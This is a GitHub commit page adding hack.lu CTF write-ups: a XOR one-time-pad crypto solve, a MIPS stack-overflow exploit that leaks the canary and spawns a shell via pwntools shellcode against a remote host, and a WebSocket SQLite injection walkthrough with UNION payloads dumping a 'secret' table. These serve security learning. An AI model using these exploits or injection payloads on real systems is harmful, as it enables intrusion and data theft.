Skip to content

Commit a7c0076

Browse files
committed
Added hack.lu ctf
1 parent e755405 commit a7c0076

File tree

8 files changed

+235
-0
lines changed

8 files changed

+235
-0
lines changed

hack.lu/crypto/cobol-otp/README.md

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
# COBOL OTP
2+
3+
## crypto - Points: 175
4+
5+
> To save the future you have to look at the past. Someone from the inside sent you an access code to a bank account with a lot of money. Can you handle the past and decrypt the code to save the future?
6+
>
7+
> [cobol_otp_96726770d36dee506e2fc6bc1b7f7f7d.zip](cobol_otp_96726770d36dee506e2fc6bc1b7f7f7d.zip)
8+
9+
In this task you were given a small `cobol` program and an output message that you have to decrypt. From the program's name you already know that the encryption is done via `XOR`, but you don't have the key.
10+
11+
With a proper key with size of the message, the decryption would be hard, but we probably know the first 5 bytes of the plaintext since it will likely be the flag format that is `flag{`. So `XOR`ing the encrypted bytes with the plaintext bytes gives the key and when it is printable, we might be able to infer the next bytes. But the output contains non-printable bytes and at this point I was not sure, whether the plaintext really starts like the guess.
12+
13+
I have never seen this programming language, so in preferred to simply compile and test the program. I could observe, that it does only use the first 10 bytes of the `key.txt` and then reuses them when the message is longer.
14+
15+
With knowing this we can try to always decrypt the first 5 bytes of 10 bytes with the key we derived from the flag format and get the following:
16+
17+
flag{?????_c4n_?????O2_c3?????_s4v3?????fUtUr?????
18+
19+
And it looks good already, now we only need to guess plaintext for the second part of the key. This is quite easy if you try to guess the part between `_s4v3` and `fUtUr`, where `_th3_` might be the correct plaintext. So `XOR`ing again the encrypted bytes for this part with our guess gives the second part of the key and with the full key and can decrypt the whole message to get the flag.
20+
21+
```python
22+
with open('out', 'r') as file:
23+
data = file.read().splitlines()[1]
24+
25+
key = ''
26+
flag = ''
27+
guess = 'flag{'
28+
29+
for i in range(5):
30+
key += chr(ord(data[i]) ^ ord(guess[i]))
31+
32+
for k in range(5):
33+
for i in range(10*k,10*k+5):
34+
flag += chr(ord(data[i]) ^ ord(key[i%10]))
35+
flag += '?????'
36+
37+
print flag
38+
39+
guess = '_th3_'
40+
41+
for i in range(35,40):
42+
key += chr(ord(data[i]) ^ ord(guess[i-35]))
43+
44+
flag = ''
45+
for i in range(49):
46+
flag += chr(ord(data[i]) ^ ord(key[i%10]))
47+
48+
print flag
49+
```
50+
51+
flag: `flag{N0w_u_c4n_buy_CO2_c3rts_&_s4v3_th3_fUtUrE1!}`
Binary file not shown.

hack.lu/crypto/cobol-otp/sol.py

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
with open('out', 'r') as file:
2+
data = file.read().splitlines()[1]
3+
4+
key = ''
5+
flag = ''
6+
guess = 'flag{'
7+
8+
for i in range(5):
9+
key += chr(ord(data[i]) ^ ord(guess[i]))
10+
11+
for k in range(5):
12+
for i in range(10*k,10*k+5):
13+
flag += chr(ord(data[i]) ^ ord(key[i%10]))
14+
flag += '?????'
15+
16+
print flag
17+
18+
guess = '_th3_'
19+
20+
for i in range(35,40):
21+
key += chr(ord(data[i]) ^ ord(guess[i-35]))
22+
23+
flag = ''
24+
for i in range(49):
25+
flag += chr(ord(data[i]) ^ ord(key[i%10]))
26+
27+
print flag
Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
# No Risc, No Future
2+
3+
## baby-pwn - Points: 215
4+
5+
> We use microcontrollers to automate and conserve energy. IoT and stuff. Most of them don't use CISC architectures.
6+
>
7+
> Let's start learning another architecture today!
8+
>
9+
> [Download challenge files](no_risc_no_future_e06100f3fc1847eb06ed06749beeae25.zip)
10+
>
11+
> [Download challenge files including docker setup](no_risc_no_future_7cb1ade0963d2236d1cf6e58750be043.zip)
12+
13+
You were given a ELF 32-bit MIPS executable and `QEMU` binary that lets you easily run the program.
14+
15+
Running `checksec no_risc_no_future` shows the enabled security mechanisms:
16+
17+
Arch: mips-32-little
18+
RELRO: Partial RELRO
19+
Stack: Canary found
20+
NX: NX disabled
21+
PIE: No PIE (0x400000)
22+
RWX: Has RWX segments
23+
24+
Only stack canaries are enabled and since `NX` is disabled we have `RWX` segments what allows us to execute shellcode on the stack, if we find a buffer overflow.
25+
26+
Decompiling the MIPS binary in `Ghidra` shows what it is essentially doing:
27+
28+
```c
29+
undefined4 main(void)
30+
{
31+
int iStack80;
32+
char acStack76 [64];
33+
int iStack12;
34+
35+
iStack12 = __stack_chk_guard;
36+
iStack80 = 0;
37+
while (iStack80 < 10) {
38+
read(0,acStack76,0x100);
39+
puts(acStack76);
40+
iStack80 = iStack80 + 1;
41+
}
42+
if (iStack12 != __stack_chk_guard) {
43+
__stack_chk_fail();
44+
}
45+
return 0;
46+
}
47+
```
48+
49+
The program `read`s up to 0x100 characters from `stdin` and prints that data out by using `puts`. This is repeated 10 times in the loop. Since the destination buffer for the input has only 64 characters size, we have a buffer overflow. To get code execution we can overwrite the `RIP` but since stack canaries are enabled, we have to leak that value before.
50+
51+
Stack canary values end with zero bytes what makes it more difficult to read them, since most functions stop at zero bytes because they identify the end of string.
52+
53+
The stack canary variable `__stack_chk_guard` lies in the memory right after the buffer for our input and `puts` will read the buffer till it encounters a zero byte. So if we overwrite the buffer, we would corrupt the canary value, but can overwrite that zero byte, so that `puts` will print out our buffer and the canary value! Since `read` terminates our input with `\xa0` (linefeed) we can fill the buffer with 64 bytes, and the linefeed will overwrite the zero byte of the canary value.
54+
55+
We have now bypassed the stack canary protection and can in the next turn completely overwrite the buffer and modify the `RIP` to jump right behind it where we place our shellcode. I debugged the binary in `gdb` and found `0x7ffffd40` as good address to jump to. MIPS shellcode generated with `shellcraft` worked quite good, I only had to add some `NOP`s before it.
56+
57+
The full exploit code looks like this:
58+
59+
```python
60+
from pwn import *
61+
62+
63+
context.arch = 'mips'
64+
65+
shellcode = asm(shellcraft.mips.linux.sh())
66+
67+
# p = remote('localhost', 1338)
68+
p = remote('noriscnofuture.forfuture.fluxfingers.net', 1338)
69+
70+
p.sendline('A'*64)
71+
p.recvuntil('\n')
72+
73+
canary = u32('\x00'+p.recv(3))
74+
p.recv(1)
75+
log.info('canary: {}'.format(hex(canary)))
76+
77+
p.sendline('A'*64+p32(canary)+'A'*4+p32(0x7ffffd40)+'\x00'*16+shellcode)
78+
79+
for i in range(8):
80+
p.sendline('')
81+
p.recvuntil('\n\n')
82+
83+
p.interactive()
84+
```
85+
86+
flag: `flag{indeed_there_will_be_no_future_without_risc}`

hack.lu/pwn/no-risc-no-future/sol.py

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
from pwn import *
2+
3+
4+
context.arch = 'mips'
5+
6+
shellcode = asm(shellcraft.mips.linux.sh())
7+
8+
# p = remote('localhost', 1338)
9+
p = remote('noriscnofuture.forfuture.fluxfingers.net', 1338)
10+
11+
p.sendline('A'*64)
12+
p.recvuntil('\n')
13+
14+
canary = u32('\x00'+p.recv(3))
15+
p.recv(1)
16+
log.info('canary: {}'.format(hex(canary)))
17+
18+
p.sendline('A'*64+p32(canary)+'A'*4+p32(0x7ffffd40)+'\x00'*16+shellcode)
19+
20+
for i in range(8):
21+
p.sendline('')
22+
p.recvuntil('\n\n')
23+
24+
p.interactive()
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
# Nucular Power Plant
2+
3+
## baby-web - Points: 105
4+
5+
> We found this overview page of nucular power plants, maybe you can get us some secret data to fight them?
6+
>
7+
> http://31.22.123.49:1909
8+
9+
When inspecting the source code of the website, you will quickly stumble over the `main.js` and some communication via a `WebSocket`. It receives `JSON` messages in different types. It will at first receive an `Array` and call the `plantList`, that contains all the power plants that are visible in the list. As soon as you select a power plant, it will receive data for `plantDetails`, the information shown in the center and then continuously receive data of type `number`, some random values, to update the current power supply state.
10+
11+
To reveal the data in `Chromium`, open the `DevTools` (F12), goto the `Sources` tab and open the `main.js` and add `console.log(data);` right after the parsing of the message.
12+
13+
The interesting part is, how the selection of a plant is handled: When you select a plant, it sends the name of it over the socket. If you probe for `SQLi`, for example by modifying `ws.send('" foo');`, it returns the string
14+
15+
Error: SqliteFailure(Error { code: Unknown, extended_code: 1 }, Some("near \"foo\": syntax error"))
16+
17+
So it is `SQLite` database and it is vulnerable! :)
18+
19+
With `ws.send('" OR "1"="1" LIMIT 1 OFFSET 1;');` where you are free to change the `offset` you can force to load specific data, but there seems to be nothing more interesting in the table.
20+
21+
Lets try to enumerate all the tables of the database, [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md) has some useful queries for this:
22+
23+
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
24+
25+
But we have to make it compatible for our query, we can do a `UNION` and add some dummy data to keep the structure of the initial `SELECT` that we can not change. The following query will now print the table name as the plant name:
26+
27+
ws.send('" UNION SELECT tbl_name, "foo", 0, 0, "foo", 0 FROM sqlite_master WHERE type="table" and tbl_name NOT like "sqlite_%";');
28+
29+
And we get as a result `nucular_plant` as table name. Are there more tables?
30+
31+
ws.send('" UNION SELECT tbl_name, "foo", 0, 0, "foo", 0 FROM sqlite_master WHERE type="table" and tbl_name NOT like "sqlite_%" LIMIT 1 OFFSET 1;');
32+
33+
Oh, there is also another table named `secret`! :)
34+
35+
Lets try to enumerate the column names:
36+
37+
ws.send('" UNION SELECT sql, "foo", 0, 0, "foo", 0 FROM sqlite_master WHERE type!="meta" AND sql NOT NULL AND name NOT LIKE "sqlite_%" AND name ="secret";');
38+
39+
And we get as result the structure of the table:
40+
41+
CREATE TABLE secret (id INTEGER PRIMARY KEY,name TEXT NOT NULL,value TEXT NOT NULL)
42+
43+
Lets read it out:
44+
45+
ws.send('" UNION SELECT name, value, id, 0, "foo", 0 FROM secret;');
46+
47+
flag: `flag{sqli_as_a_socket}`

0 commit comments

Comments
 (0)